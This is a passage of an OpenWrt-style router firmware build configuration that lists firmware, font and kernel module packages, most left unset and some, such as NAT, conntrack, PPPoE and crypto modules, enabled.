CONFIG_PACKAGE_ath10k-firmware-qca99x0 is not set # CONFIG_PACKAGE_ath10k-firmware-qca99x0-ct is not set # CONFIG_PACKAGE_ath10k-firmware-qca99x0-ct-htt is not set # CONFIG_PACKAGE_ath6k-firmware is not set # CONFIG_PACKAGE_ath9k-htc-firmware is not set # CONFIG_PACKAGE_b43legacy-firmware is not set # CONFIG_PACKAGE_bnx2-firmware is not set # CONFIG_PACKAGE_bnx2x-firmware is not set # CONFIG_PACKAGE_brcmfmac-firmware-4329-sdio is not set # CONFIG_PACKAGE_brcmfmac-firmware-43362-sdio is not set # CONFIG_PACKAGE_brcmfmac-firmware-43430-sdio is not set # CONFIG_PACKAGE_brcmfmac-firmware-43430-sdio-rpi-3b is not set # CONFIG_PACKAGE_brcmfmac-firmware-43430-sdio-rpi-zero-w is not set # CONFIG_PACKAGE_brcmfmac-firmware-43430a0-sdio is not set # CONFIG_PACKAGE_brcmfmac-firmware-43455-sdio is not set # CONFIG_PACKAGE_brcmfmac-firmware-43455-sdio-rpi-3b-plus is not set # CONFIG_PACKAGE_brcmfmac-firmware-43455-sdio-rpi-4b is not set # CONFIG_PACKAGE_brcmfmac-firmware-43602a1-pcie is not set # CONFIG_PACKAGE_brcmfmac-firmware-4366b1-pcie is not set # CONFIG_PACKAGE_brcmfmac-firmware-4366c0-pcie is not set # CONFIG_PACKAGE_brcmfmac-firmware-usb is not set # CONFIG_PACKAGE_brcmsmac-firmware is not set # CONFIG_PACKAGE_carl9170-firmware is not set # CONFIG_PACKAGE_cypress-firmware-43012-sdio is not set # CONFIG_PACKAGE_cypress-firmware-43340-sdio is not set # CONFIG_PACKAGE_cypress-firmware-43362-sdio is not set # CONFIG_PACKAGE_cypress-firmware-4339-sdio is not set # CONFIG_PACKAGE_cypress-firmware-43430-sdio is not set # CONFIG_PACKAGE_cypress-firmware-43455-sdio is not set # CONFIG_PACKAGE_cypress-firmware-4354-sdio is not set # CONFIG_PACKAGE_cypress-firmware-4356-pcie is not set # CONFIG_PACKAGE_cypress-firmware-4356-sdio is not set # CONFIG_PACKAGE_cypress-firmware-43570-pcie is not set # CONFIG_PACKAGE_cypress-firmware-4359-pcie is not set # CONFIG_PACKAGE_cypress-firmware-4359-sdio is not set # CONFIG_PACKAGE_cypress-firmware-4373-sdio is not set # CONFIG_PACKAGE_cypress-firmware-4373-usb is not set # CONFIG_PACKAGE_cypress-firmware-89459-pcie is not set # CONFIG_PACKAGE_e100-firmware is not set # CONFIG_PACKAGE_edgeport-firmware is not set # CONFIG_PACKAGE_ibt-firmware is not set # CONFIG_PACKAGE_iwl3945-firmware is not set # CONFIG_PACKAGE_iwl4965-firmware is not set # CONFIG_PACKAGE_iwlwifi-firmware-iwl100 is not set # CONFIG_PACKAGE_iwlwifi-firmware-iwl1000 is not set # CONFIG_PACKAGE_iwlwifi-firmware-iwl105 is not set # CONFIG_PACKAGE_iwlwifi-firmware-iwl135 is not set # CONFIG_PACKAGE_iwlwifi-firmware-iwl2000 is not set # CONFIG_PACKAGE_iwlwifi-firmware-iwl2030 is not set # CONFIG_PACKAGE_iwlwifi-firmware-iwl3160 is not set # CONFIG_PACKAGE_iwlwifi-firmware-iwl3168 is not set # CONFIG_PACKAGE_iwlwifi-firmware-iwl5000 is not set # CONFIG_PACKAGE_iwlwifi-firmware-iwl5150 is not set # CONFIG_PACKAGE_iwlwifi-firmware-iwl6000g2 is not set # CONFIG_PACKAGE_iwlwifi-firmware-iwl6000g2a is not set # CONFIG_PACKAGE_iwlwifi-firmware-iwl6000g2b is not set # CONFIG_PACKAGE_iwlwifi-firmware-iwl6050 is not set # CONFIG_PACKAGE_iwlwifi-firmware-iwl7260 is not set # CONFIG_PACKAGE_iwlwifi-firmware-iwl7265 is not set # CONFIG_PACKAGE_iwlwifi-firmware-iwl7265d is not set # CONFIG_PACKAGE_iwlwifi-firmware-iwl8260c is not set # CONFIG_PACKAGE_iwlwifi-firmware-iwl8265 is not set # CONFIG_PACKAGE_iwlwifi-firmware-iwl9000 is not set # CONFIG_PACKAGE_iwlwifi-firmware-iwl9260 is not set # CONFIG_PACKAGE_libertas-sdio-firmware is not set # CONFIG_PACKAGE_libertas-spi-firmware is not set # CONFIG_PACKAGE_libertas-usb-firmware is not set # CONFIG_PACKAGE_mt7601u-firmware is not set # CONFIG_PACKAGE_mt7622bt-firmware is not set # CONFIG_PACKAGE_mwifiex-pcie-firmware is not set # CONFIG_PACKAGE_mwifiex-sdio-firmware is not set # CONFIG_PACKAGE_mwl8k-firmware is not set # CONFIG_PACKAGE_p54-pci-firmware is not set # CONFIG_PACKAGE_p54-spi-firmware is not set # CONFIG_PACKAGE_p54-usb-firmware is not set # CONFIG_PACKAGE_prism54-firmware is not set # CONFIG_PACKAGE_r8169-firmware is not set # CONFIG_PACKAGE_radeon-firmware is not set # CONFIG_PACKAGE_rs9113-firmware is not set # CONFIG_PACKAGE_rt2800-pci-firmware is not set # CONFIG_PACKAGE_rt2800-usb-firmware is not set # CONFIG_PACKAGE_rt61-pci-firmware is not set # CONFIG_PACKAGE_rt73-usb-firmware is not set # CONFIG_PACKAGE_rtl8188eu-firmware is not set # CONFIG_PACKAGE_rtl8192ce-firmware is not set # CONFIG_PACKAGE_rtl8192cu-firmware is not set # CONFIG_PACKAGE_rtl8192de-firmware is not set # CONFIG_PACKAGE_rtl8192eu-firmware is not set # CONFIG_PACKAGE_rtl8192se-firmware is not set # CONFIG_PACKAGE_rtl8192su-firmware is not set # CONFIG_PACKAGE_rtl8723au-firmware is not set # CONFIG_PACKAGE_rtl8723bs-firmware is not set # CONFIG_PACKAGE_rtl8723bu-firmware is not set # CONFIG_PACKAGE_rtl8821ae-firmware is not set # CONFIG_PACKAGE_rtl8822be-firmware is not set # CONFIG_PACKAGE_rtl8822ce-firmware is not set # CONFIG_PACKAGE_ti-3410-firmware is not set # CONFIG_PACKAGE_ti-5052-firmware is not set CONFIG_PACKAGE_wireless-regdb=y # CONFIG_PACKAGE_wl12xx-firmware is not set # CONFIG_PACKAGE_wl18xx-firmware is not set # # Fonts # # # DejaVu # # CONFIG_PACKAGE_dejavu-fonts-ttf-DejaVuMathTeXGyre is not set # CONFIG_PACKAGE_dejavu-fonts-ttf-DejaVuSans is not set # CONFIG_PACKAGE_dejavu-fonts-ttf-DejaVuSans-Bold is not set # CONFIG_PACKAGE_dejavu-fonts-ttf-DejaVuSans-BoldOblique is not set # CONFIG_PACKAGE_dejavu-fonts-ttf-DejaVuSans-ExtraLight is not set # CONFIG_PACKAGE_dejavu-fonts-ttf-DejaVuSans-Oblique is not set # CONFIG_PACKAGE_dejavu-fonts-ttf-DejaVuSansCondensed is not set # CONFIG_PACKAGE_dejavu-fonts-ttf-DejaVuSansCondensed-Bold is not set # CONFIG_PACKAGE_dejavu-fonts-ttf-DejaVuSansCondensed-BoldOblique is not set # CONFIG_PACKAGE_dejavu-fonts-ttf-DejaVuSansCondensed-Oblique is not set # CONFIG_PACKAGE_dejavu-fonts-ttf-DejaVuSansMono is not set # CONFIG_PACKAGE_dejavu-fonts-ttf-DejaVuSansMono-Bold is not set # CONFIG_PACKAGE_dejavu-fonts-ttf-DejaVuSansMono-BoldOblique is not set # CONFIG_PACKAGE_dejavu-fonts-ttf-DejaVuSansMono-Oblique is not set # CONFIG_PACKAGE_dejavu-fonts-ttf-DejaVuSerif is not set # CONFIG_PACKAGE_dejavu-fonts-ttf-DejaVuSerif-Bold is not set # CONFIG_PACKAGE_dejavu-fonts-ttf-DejaVuSerif-BoldItalic is not set # CONFIG_PACKAGE_dejavu-fonts-ttf-DejaVuSerif-Italic is not set # CONFIG_PACKAGE_dejavu-fonts-ttf-DejaVuSerifCondensed is not set # CONFIG_PACKAGE_dejavu-fonts-ttf-DejaVuSerifCondensed-Bold is not set # CONFIG_PACKAGE_dejavu-fonts-ttf-DejaVuSerifCondensed-BoldItalic is not set # CONFIG_PACKAGE_dejavu-fonts-ttf-DejaVuSerifCondensed-Italic is not set # # Kernel modules # # # Block Devices # # CONFIG_PACKAGE_kmod-aoe is not set # CONFIG_PACKAGE_kmod-ata-core is not set # CONFIG_PACKAGE_kmod-block2mtd is not set # CONFIG_PACKAGE_kmod-dm is not set # CONFIG_PACKAGE_kmod-dm-raid is not set # CONFIG_PACKAGE_kmod-loop is not set # CONFIG_PACKAGE_kmod-md-mod is not set # CONFIG_PACKAGE_kmod-nbd is not set # CONFIG_PACKAGE_kmod-scsi-cdrom is not set # CONFIG_PACKAGE_kmod-scsi-core is not set # CONFIG_PACKAGE_kmod-scsi-generic is not set # CONFIG_PACKAGE_kmod-scsi-tape is not set # # CAN Support # # CONFIG_PACKAGE_kmod-can is not set # # Cryptographic API modules # CONFIG_PACKAGE_kmod-crypto-aead=y CONFIG_PACKAGE_kmod-crypto-arc4=y CONFIG_PACKAGE_kmod-crypto-authenc=y # CONFIG_PACKAGE_kmod-crypto-cbc is not set # CONFIG_PACKAGE_kmod-crypto-ccm is not set # CONFIG_PACKAGE_kmod-crypto-cmac is not set CONFIG_PACKAGE_kmod-crypto-crc32c=y # CONFIG_PACKAGE_kmod-crypto-ctr is not set # CONFIG_PACKAGE_kmod-crypto-cts is not set # CONFIG_PACKAGE_kmod-crypto-deflate is not set # CONFIG_PACKAGE_kmod-crypto-des is not set CONFIG_PACKAGE_kmod-crypto-ecb=y # CONFIG_PACKAGE_kmod-crypto-ecdh is not set # CONFIG_PACKAGE_kmod-crypto-echainiv is not set # CONFIG_PACKAGE_kmod-crypto-fcrypt is not set # CONFIG_PACKAGE_kmod-crypto-gcm is not set # CONFIG_PACKAGE_kmod-crypto-gf128 is not set # CONFIG_PACKAGE_kmod-crypto-ghash is not set CONFIG_PACKAGE_kmod-crypto-hash=y # CONFIG_PACKAGE_kmod-crypto-hmac is not set # CONFIG_PACKAGE_kmod-crypto-hw-ccp is not set # CONFIG_PACKAGE_kmod-crypto-hw-geode is not set # CONFIG_PACKAGE_kmod-crypto-hw-hifn-795x is not set # CONFIG_PACKAGE_kmod-crypto-hw-padlock is not set # CONFIG_PACKAGE_kmod-crypto-hw-talitos is not set CONFIG_PACKAGE_kmod-crypto-manager=y # CONFIG_PACKAGE_kmod-crypto-md4 is not set # CONFIG_PACKAGE_kmod-crypto-md5 is not set # CONFIG_PACKAGE_kmod-crypto-michael-mic is not set # CONFIG_PACKAGE_kmod-crypto-misc is not set CONFIG_PACKAGE_kmod-crypto-null=y # CONFIG_PACKAGE_kmod-crypto-pcbc is not set CONFIG_PACKAGE_kmod-crypto-pcompress=y # CONFIG_PACKAGE_kmod-crypto-rmd160 is not set # CONFIG_PACKAGE_kmod-crypto-rng is not set # CONFIG_PACKAGE_kmod-crypto-seqiv is not set CONFIG_PACKAGE_kmod-crypto-sha1=y # CONFIG_PACKAGE_kmod-crypto-sha256 is not set # CONFIG_PACKAGE_kmod-crypto-sha512 is not set # CONFIG_PACKAGE_kmod-crypto-test is not set # CONFIG_PACKAGE_kmod-crypto-user is not set # CONFIG_PACKAGE_kmod-crypto-wq is not set # CONFIG_PACKAGE_kmod-crypto-xcbc is not set # CONFIG_PACKAGE_kmod-crypto-xts is not set CONFIG_PACKAGE_kmod-cryptodev=y # # Filesystems # # CONFIG_PACKAGE_kmod-fs-afs is not set # CONFIG_PACKAGE_kmod-fs-antfs is not set # CONFIG_PACKAGE_kmod-fs-autofs4 is not set # CONFIG_PACKAGE_kmod-fs-btrfs is not set # CONFIG_PACKAGE_kmod-fs-cifs is not set # CONFIG_PACKAGE_kmod-fs-configfs is not set # CONFIG_PACKAGE_kmod-fs-cramfs is not set # CONFIG_PACKAGE_kmod-fs-exfat is not set # CONFIG_PACKAGE_kmod-fs-exportfs is not set # CONFIG_PACKAGE_kmod-fs-ext4 is not set # CONFIG_PACKAGE_kmod-fs-f2fs is not set # CONFIG_PACKAGE_kmod-fs-fscache is not set # CONFIG_PACKAGE_kmod-fs-hfs is not set # CONFIG_PACKAGE_kmod-fs-hfsplus is not set # CONFIG_PACKAGE_kmod-fs-isofs is not set # CONFIG_PACKAGE_kmod-fs-jfs is not set # CONFIG_PACKAGE_kmod-fs-ksmbd is not set # CONFIG_PACKAGE_kmod-fs-minix is not set # CONFIG_PACKAGE_kmod-fs-msdos is not set # CONFIG_PACKAGE_kmod-fs-nfs is not set # CONFIG_PACKAGE_kmod-fs-nfs-common is not set # CONFIG_PACKAGE_kmod-fs-nfs-common-rpcsec is not set # CONFIG_PACKAGE_kmod-fs-nfs-v3 is not set # CONFIG_PACKAGE_kmod-fs-nfs-v4 is not set # CONFIG_PACKAGE_kmod-fs-nfsd is not set # CONFIG_PACKAGE_kmod-fs-ntfs is not set # CONFIG_PACKAGE_kmod-fs-reiserfs is not set # CONFIG_PACKAGE_kmod-fs-squashfs is not set # CONFIG_PACKAGE_kmod-fs-udf is not set # CONFIG_PACKAGE_kmod-fs-vfat is not set # CONFIG_PACKAGE_kmod-fs-xfs is not set # CONFIG_PACKAGE_kmod-fuse is not set # # FireWire support # # CONFIG_PACKAGE_kmod-firewire is not set # # Hardware Monitoring Support # CONFIG_PACKAGE_kmod-hwmon-core=y # CONFIG_PACKAGE_kmod-hwmon-adcxx is not set # CONFIG_PACKAGE_kmod-hwmon-ads1015 is not set # CONFIG_PACKAGE_kmod-hwmon-adt7410 is not set # CONFIG_PACKAGE_kmod-hwmon-adt7475 is not set # CONFIG_PACKAGE_kmod-hwmon-gpiofan is not set # CONFIG_PACKAGE_kmod-hwmon-ina209 is not set # CONFIG_PACKAGE_kmod-hwmon-ina2xx is not set # CONFIG_PACKAGE_kmod-hwmon-it87 is not set # CONFIG_PACKAGE_kmod-hwmon-lm63 is not set # CONFIG_PACKAGE_kmod-hwmon-lm75 is not set # CONFIG_PACKAGE_kmod-hwmon-lm77 is not set # CONFIG_PACKAGE_kmod-hwmon-lm85 is not set # CONFIG_PACKAGE_kmod-hwmon-lm90 is not set # CONFIG_PACKAGE_kmod-hwmon-lm92 is not set # CONFIG_PACKAGE_kmod-hwmon-lm95241 is not set # CONFIG_PACKAGE_kmod-hwmon-ltc4151 is not set # CONFIG_PACKAGE_kmod-hwmon-mcp3021 is not set # CONFIG_PACKAGE_kmod-hwmon-pwmfan is not set # CONFIG_PACKAGE_kmod-hwmon-sch5627 is not set # CONFIG_PACKAGE_kmod-hwmon-sht21 is not set # CONFIG_PACKAGE_kmod-hwmon-tmp102 is not set # CONFIG_PACKAGE_kmod-hwmon-tmp103 is not set # CONFIG_PACKAGE_kmod-hwmon-tmp421 is not set # CONFIG_PACKAGE_kmod-hwmon-vid is not set # CONFIG_PACKAGE_kmod-hwmon-w83793 is not set # CONFIG_PACKAGE_kmod-pmbus-core is not set # CONFIG_PACKAGE_kmod-pmbus-zl6100 is not set # # I2C support # # CONFIG_PACKAGE_kmod-i2c-core is not set # CONFIG_PACKAGE_kmod-i2c-gpio-custom is not set # # Industrial I/O Modules # # CONFIG_PACKAGE_kmod-iio-ad799x is not set # CONFIG_PACKAGE_kmod-iio-am2315 is not set # CONFIG_PACKAGE_kmod-iio-bh1750 is not set # CONFIG_PACKAGE_kmod-iio-bme680 is not set # CONFIG_PACKAGE_kmod-iio-bme680-i2c is not set # CONFIG_PACKAGE_kmod-iio-bme680-spi is not set # CONFIG_PACKAGE_kmod-iio-bmp280 is not set # CONFIG_PACKAGE_kmod-iio-bmp280-i2c is not set # CONFIG_PACKAGE_kmod-iio-bmp280-spi is not set # CONFIG_PACKAGE_kmod-iio-ccs811 is not set # CONFIG_PACKAGE_kmod-iio-core is not set # CONFIG_PACKAGE_kmod-iio-fxos8700 is not set # CONFIG_PACKAGE_kmod-iio-fxos8700-i2c is not set # CONFIG_PACKAGE_kmod-iio-fxos8700-spi is not set # CONFIG_PACKAGE_kmod-iio-hmc5843 is not set # CONFIG_PACKAGE_kmod-iio-htu21 is not set # CONFIG_PACKAGE_kmod-iio-kfifo-buf is not set # CONFIG_PACKAGE_kmod-iio-si7020 is not set # CONFIG_PACKAGE_kmod-iio-sps30 is not set # CONFIG_PACKAGE_kmod-iio-st_accel is not set # CONFIG_PACKAGE_kmod-iio-st_sensors-i2c is not set # CONFIG_PACKAGE_kmod-iio-st_sensors-spi is not set # CONFIG_PACKAGE_kmod-iio-tsl4531 is not set # CONFIG_PACKAGE_kmod-industrialio-triggered-buffer is not set # # Input modules # # CONFIG_PACKAGE_kmod-hid is not set # CONFIG_PACKAGE_kmod-hid-generic is not set # CONFIG_PACKAGE_kmod-input-core is not set # CONFIG_PACKAGE_kmod-input-evdev is not set # CONFIG_PACKAGE_kmod-input-gpio-encoder is not set # CONFIG_PACKAGE_kmod-input-gpio-keys is not set # CONFIG_PACKAGE_kmod-input-gpio-keys-polled is not set # CONFIG_PACKAGE_kmod-input-joydev is not set # CONFIG_PACKAGE_kmod-input-matrixkmap is not set # CONFIG_PACKAGE_kmod-input-polldev is not set # CONFIG_PACKAGE_kmod-input-touchscreen-ads7846 is not set # CONFIG_PACKAGE_kmod-input-uinput is not set # # LED modules # # CONFIG_PACKAGE_kmod-leds-gpio is not set # CONFIG_PACKAGE_kmod-leds-nu801 is not set # CONFIG_PACKAGE_kmod-leds-pca963x is not set # CONFIG_PACKAGE_kmod-leds-rb750 is not set # CONFIG_PACKAGE_kmod-leds-wndr3700-usb is not set # CONFIG_PACKAGE_kmod-ledtrig-default-on is not set # CONFIG_PACKAGE_kmod-ledtrig-gpio is not set # CONFIG_PACKAGE_kmod-ledtrig-heartbeat is not set # CONFIG_PACKAGE_kmod-ledtrig-netdev is not set # CONFIG_PACKAGE_kmod-ledtrig-oneshot is not set # CONFIG_PACKAGE_kmod-ledtrig-timer is not set # CONFIG_PACKAGE_kmod-ledtrig-transient is not set # # Libraries # # CONFIG_PACKAGE_kmod-lib-cordic is not set CONFIG_PACKAGE_kmod-lib-crc-ccitt=y # CONFIG_PACKAGE_kmod-lib-crc-itu-t is not set # CONFIG_PACKAGE_kmod-lib-crc16 is not set CONFIG_PACKAGE_kmod-lib-crc32c=y # CONFIG_PACKAGE_kmod-lib-crc7 is not set # CONFIG_PACKAGE_kmod-lib-crc8 is not set CONFIG_PACKAGE_kmod-lib-textsearch=y # # Native Language Support # CONFIG_PACKAGE_kmod-nls-base=y # CONFIG_PACKAGE_kmod-nls-cp1250 is not set # CONFIG_PACKAGE_kmod-nls-cp1251 is not set # CONFIG_PACKAGE_kmod-nls-cp437 is not set # CONFIG_PACKAGE_kmod-nls-cp775 is not set # CONFIG_PACKAGE_kmod-nls-cp850 is not set # CONFIG_PACKAGE_kmod-nls-cp852 is not set # CONFIG_PACKAGE_kmod-nls-cp862 is not set # CONFIG_PACKAGE_kmod-nls-cp864 is not set # CONFIG_PACKAGE_kmod-nls-cp866 is not set # CONFIG_PACKAGE_kmod-nls-cp932 is not set # CONFIG_PACKAGE_kmod-nls-cp936 is not set # CONFIG_PACKAGE_kmod-nls-cp950 is not set # CONFIG_PACKAGE_kmod-nls-iso8859-1 is not set # CONFIG_PACKAGE_kmod-nls-iso8859-13 is not set # CONFIG_PACKAGE_kmod-nls-iso8859-15 is not set # CONFIG_PACKAGE_kmod-nls-iso8859-2 is not set # CONFIG_PACKAGE_kmod-nls-iso8859-6 is not set # CONFIG_PACKAGE_kmod-nls-iso8859-8 is not set # CONFIG_PACKAGE_kmod-nls-koi8r is not set # CONFIG_PACKAGE_kmod-nls-utf8 is not set # # Netfilter Extensions # # CONFIG_PACKAGE_kmod-arptables is not set # CONFIG_PACKAGE_kmod-br-netfilter is not set # CONFIG_PACKAGE_kmod-ebtables is not set # CONFIG_PACKAGE_kmod-ebtables-ipv4 is not set # CONFIG_PACKAGE_kmod-ebtables-ipv6 is not set # CONFIG_PACKAGE_kmod-ebtables-watchers is not set # CONFIG_PACKAGE_kmod-ip6tables is not set # CONFIG_PACKAGE_kmod-ip6tables-extra is not set # CONFIG_PACKAGE_kmod-ipt-account is not set # CONFIG_PACKAGE_kmod-ipt-chaos is not set # CONFIG_PACKAGE_kmod-ipt-checksum is not set # CONFIG_PACKAGE_kmod-ipt-cluster is not set # CONFIG_PACKAGE_kmod-ipt-clusterip is not set # CONFIG_PACKAGE_kmod-ipt-compat-xtables is not set # CONFIG_PACKAGE_kmod-ipt-condition is not set CONFIG_PACKAGE_kmod-ipt-conntrack=y # CONFIG_PACKAGE_kmod-ipt-conntrack-extra is not set # CONFIG_PACKAGE_kmod-ipt-conntrack-label is not set CONFIG_PACKAGE_kmod-ipt-core=y # CONFIG_PACKAGE_kmod-ipt-debug is not set # CONFIG_PACKAGE_kmod-ipt-delude is not set # CONFIG_PACKAGE_kmod-ipt-dhcpmac is not set # CONFIG_PACKAGE_kmod-ipt-dnetmap is not set # CONFIG_PACKAGE_kmod-ipt-extra is not set # CONFIG_PACKAGE_kmod-ipt-filter is not set CONFIG_PACKAGE_kmod-ipt-fullconenat=y # CONFIG_PACKAGE_kmod-ipt-fuzzy is not set # CONFIG_PACKAGE_kmod-ipt-geoip is not set # CONFIG_PACKAGE_kmod-ipt-hashlimit is not set # CONFIG_PACKAGE_kmod-ipt-iface is not set # CONFIG_PACKAGE_kmod-ipt-ipmark is not set # CONFIG_PACKAGE_kmod-ipt-ipopt is not set # CONFIG_PACKAGE_kmod-ipt-ipp2p is not set # CONFIG_PACKAGE_kmod-ipt-iprange is not set # CONFIG_PACKAGE_kmod-ipt-ipsec is not set CONFIG_PACKAGE_kmod-ipt-ipset=y # CONFIG_PACKAGE_kmod-ipt-ipv4options is not set # CONFIG_PACKAGE_kmod-ipt-led is not set # CONFIG_PACKAGE_kmod-ipt-length2 is not set # CONFIG_PACKAGE_kmod-ipt-logmark is not set # CONFIG_PACKAGE_kmod-ipt-lscan is not set # CONFIG_PACKAGE_kmod-ipt-lua is not set CONFIG_PACKAGE_kmod-ipt-nat=y # CONFIG_PACKAGE_kmod-ipt-nat-extra is not set # CONFIG_PACKAGE_kmod-ipt-nat6 is not set # CONFIG_PACKAGE_kmod-ipt-nathelper-rtsp is not set # CONFIG_PACKAGE_kmod-ipt-nflog is not set # CONFIG_PACKAGE_kmod-ipt-nfqueue is not set # CONFIG_PACKAGE_kmod-ipt-physdev is not set # CONFIG_PACKAGE_kmod-ipt-psd is not set # CONFIG_PACKAGE_kmod-ipt-quota2 is not set CONFIG_PACKAGE_kmod-ipt-raw=y # CONFIG_PACKAGE_kmod-ipt-raw6 is not set # CONFIG_PACKAGE_kmod-ipt-rpfilter is not set # CONFIG_PACKAGE_kmod-ipt-sysrq is not set # CONFIG_PACKAGE_kmod-ipt-tarpit is not set # CONFIG_PACKAGE_kmod-ipt-tee is not set # CONFIG_PACKAGE_kmod-ipt-tproxy is not set # CONFIG_PACKAGE_kmod-ipt-u32 is not set # CONFIG_PACKAGE_kmod-ipt-ulog is not set CONFIG_PACKAGE_kmod-nf-conntrack=y CONFIG_PACKAGE_kmod-nf-conntrack-netlink=y CONFIG_PACKAGE_kmod-nf-conntrack6=y CONFIG_PACKAGE_kmod-nf-ipt=y # CONFIG_PACKAGE_kmod-nf-ipt6 is not set # CONFIG_PACKAGE_kmod-nf-ipvs is not set CONFIG_PACKAGE_kmod-nf-nat=y # CONFIG_PACKAGE_kmod-nf-nat6 is not set CONFIG_PACKAGE_kmod-nf-nathelper=y CONFIG_PACKAGE_kmod-nf-nathelper-extra=y CONFIG_PACKAGE_kmod-nf-reject=y # CONFIG_PACKAGE_kmod-nf-reject6 is not set CONFIG_PACKAGE_kmod-nfnetlink=y # CONFIG_PACKAGE_kmod-nfnetlink-log is not set # CONFIG_PACKAGE_kmod-nfnetlink-queue is not set # CONFIG_PACKAGE_kmod-nft-arp is not set # CONFIG_PACKAGE_kmod-nft-bridge is not set # CONFIG_PACKAGE_kmod-nft-core is not set # CONFIG_PACKAGE_kmod-nft-fib is not set # CONFIG_PACKAGE_kmod-nft-nat is not set # CONFIG_PACKAGE_kmod-nft-nat6 is not set # CONFIG_PACKAGE_kmod-nft-netdev is not set # # Network Devices # # CONFIG_PACKAGE_kmod-3c59x is not set # CONFIG_PACKAGE_kmod-8139cp is not set # CONFIG_PACKAGE_kmod-8139too is not set # CONFIG_PACKAGE_kmod-alx is not set # CONFIG_PACKAGE_kmod-atl1 is not set # CONFIG_PACKAGE_kmod-atl1c is not set # CONFIG_PACKAGE_kmod-atl1e is not set # CONFIG_PACKAGE_kmod-atl2 is not set # CONFIG_PACKAGE_kmod-b44 is not set # CONFIG_PACKAGE_kmod-be2net is not set # CONFIG_PACKAGE_kmod-bnx2 is not set # CONFIG_PACKAGE_kmod-bnx2x is not set # CONFIG_PACKAGE_kmod-dm9000 is not set # CONFIG_PACKAGE_kmod-dummy is not set # CONFIG_PACKAGE_kmod-e100 is not set # CONFIG_PACKAGE_kmod-e1000 is not set # CONFIG_PACKAGE_kmod-et131x is not set # CONFIG_PACKAGE_kmod-ethoc is not set # CONFIG_PACKAGE_kmod-forcedeth is not set # CONFIG_PACKAGE_kmod-gigaset is not set # CONFIG_PACKAGE_kmod-hfcmulti is not set # CONFIG_PACKAGE_kmod-hfcpci is not set # CONFIG_PACKAGE_kmod-i40e is not set # CONFIG_PACKAGE_kmod-i40evf is not set # CONFIG_PACKAGE_kmod-ifb is not set # CONFIG_PACKAGE_kmod-igb is not set # CONFIG_PACKAGE_kmod-ixgbe is not set # CONFIG_PACKAGE_kmod-ixgbevf is not set # CONFIG_PACKAGE_kmod-libphy is not set CONFIG_PACKAGE_kmod-macvlan=y # CONFIG_PACKAGE_kmod-mdio-gpio is not set # CONFIG_PACKAGE_kmod-mii is not set # CONFIG_PACKAGE_kmod-mlx4-core is not set # CONFIG_PACKAGE_kmod-mlx5-core is not set # CONFIG_PACKAGE_kmod-natsemi is not set # CONFIG_PACKAGE_kmod-ne2k-pci is not set # CONFIG_PACKAGE_kmod-niu is not set # CONFIG_PACKAGE_kmod-of-mdio is not set # CONFIG_PACKAGE_kmod-pcnet32 is not set # CONFIG_PACKAGE_kmod-phy-broadcom is not set # CONFIG_PACKAGE_kmod-phy-realtek is not set # CONFIG_PACKAGE_kmod-r6040 is not set # CONFIG_PACKAGE_kmod-r8125 is not set # CONFIG_PACKAGE_kmod-r8168 is not set # CONFIG_PACKAGE_kmod-r8169 is not set # CONFIG_PACKAGE_kmod-sfc is not set # CONFIG_PACKAGE_kmod-siit is not set # CONFIG_PACKAGE_kmod-sis190 is not set # CONFIG_PACKAGE_kmod-sis900 is not set # CONFIG_PACKAGE_kmod-skge is not set # CONFIG_PACKAGE_kmod-sky2 is not set # CONFIG_PACKAGE_kmod-solos-pci is not set # CONFIG_PACKAGE_kmod-spi-ks8995 is not set # CONFIG_PACKAGE_kmod-swconfig is not set # CONFIG_PACKAGE_kmod-switch-ip17xx is not set # CONFIG_PACKAGE_kmod-switch-mvsw61xx is not set # CONFIG_PACKAGE_kmod-switch-rtl8306 is not set # CONFIG_PACKAGE_kmod-switch-rtl8366-smi is not set # CONFIG_PACKAGE_kmod-switch-rtl8366rb is not set # CONFIG_PACKAGE_kmod-switch-rtl8366s is not set # CONFIG_PACKAGE_kmod-switch-rtl8367b is not set # CONFIG_PACKAGE_kmod-tg3 is not set # CONFIG_PACKAGE_kmod-tulip is not set # CONFIG_PACKAGE_kmod-via-rhine is not set # CONFIG_PACKAGE_kmod-via-velocity is not set # CONFIG_PACKAGE_kmod-vmxnet3 is not set # # Network Support # # CONFIG_PACKAGE_kmod-atm is not set # CONFIG_PACKAGE_kmod-ax25 is not set # CONFIG_PACKAGE_kmod-batman-adv is not set # CONFIG_PACKAGE_kmod-bonding is not set # CONFIG_PACKAGE_kmod-bpf-test is not set # CONFIG_PACKAGE_kmod-capi is not set # CONFIG_PACKAGE_kmod-dnsresolver is not set CONFIG_PACKAGE_kmod-fast-classifier=y # CONFIG_PACKAGE_kmod-fou is not set # CONFIG_PACKAGE_kmod-fou6 is not set # CONFIG_PACKAGE_kmod-geneve is not set # CONFIG_PACKAGE_kmod-gre is not set # CONFIG_PACKAGE_kmod-gre6 is not set # CONFIG_PACKAGE_kmod-ip6-tunnel is not set # CONFIG_PACKAGE_kmod-ipip is not set # CONFIG_PACKAGE_kmod-ipsec is not set # CONFIG_PACKAGE_kmod-iptunnel6 is not set # CONFIG_PACKAGE_kmod-isdn4linux is not set # CONFIG_PACKAGE_kmod-jool is not set # CONFIG_PACKAGE_kmod-l2tp is not set # CONFIG_PACKAGE_kmod-l2tp-eth is not set # CONFIG_PACKAGE_kmod-l2tp-ip is not set # CONFIG_PACKAGE_kmod-macremapper is not set # CONFIG_PACKAGE_kmod-macsec is not set # CONFIG_PACKAGE_kmod-misdn is not set # CONFIG_PACKAGE_kmod-mpls is not set # CONFIG_PACKAGE_kmod-nat46 is not set # CONFIG_PACKAGE_kmod-netem is not set # CONFIG_PACKAGE_kmod-nlmon is not set # CONFIG_PACKAGE_kmod-nsh is not set # CONFIG_PACKAGE_kmod-openvswitch is not set # CONFIG_PACKAGE_kmod-openvswitch-geneve is not set # CONFIG_PACKAGE_kmod-openvswitch-gre is not set # CONFIG_PACKAGE_kmod-openvswitch-vxlan is not set # CONFIG_PACKAGE_kmod-pktgen is not set CONFIG_PACKAGE_kmod-ppp=y CONFIG_PACKAGE_kmod-mppe=y # CONFIG_PACKAGE_kmod-ppp-synctty is not set # CONFIG_PACKAGE_kmod-pppoa is not set CONFIG_PACKAGE_kmod-pppoe=y # CONFIG_PACKAGE_kmod-pppol2tp is not set CONFIG_PACKAGE_kmod-pppox=y # CONFIG_PACKAGE_kmod-pptp is not set CONFIG_PACKAGE_kmod-sched=y # CONFIG_PACKAGE_kmod-sched-act-vlan is not set # CONFIG_PACKAGE_kmod-sched-bpf is not set # CONFIG_PACKAGE_kmod-sched-cake is not set # CONFIG_PACKAGE_kmod-sched-connmark is 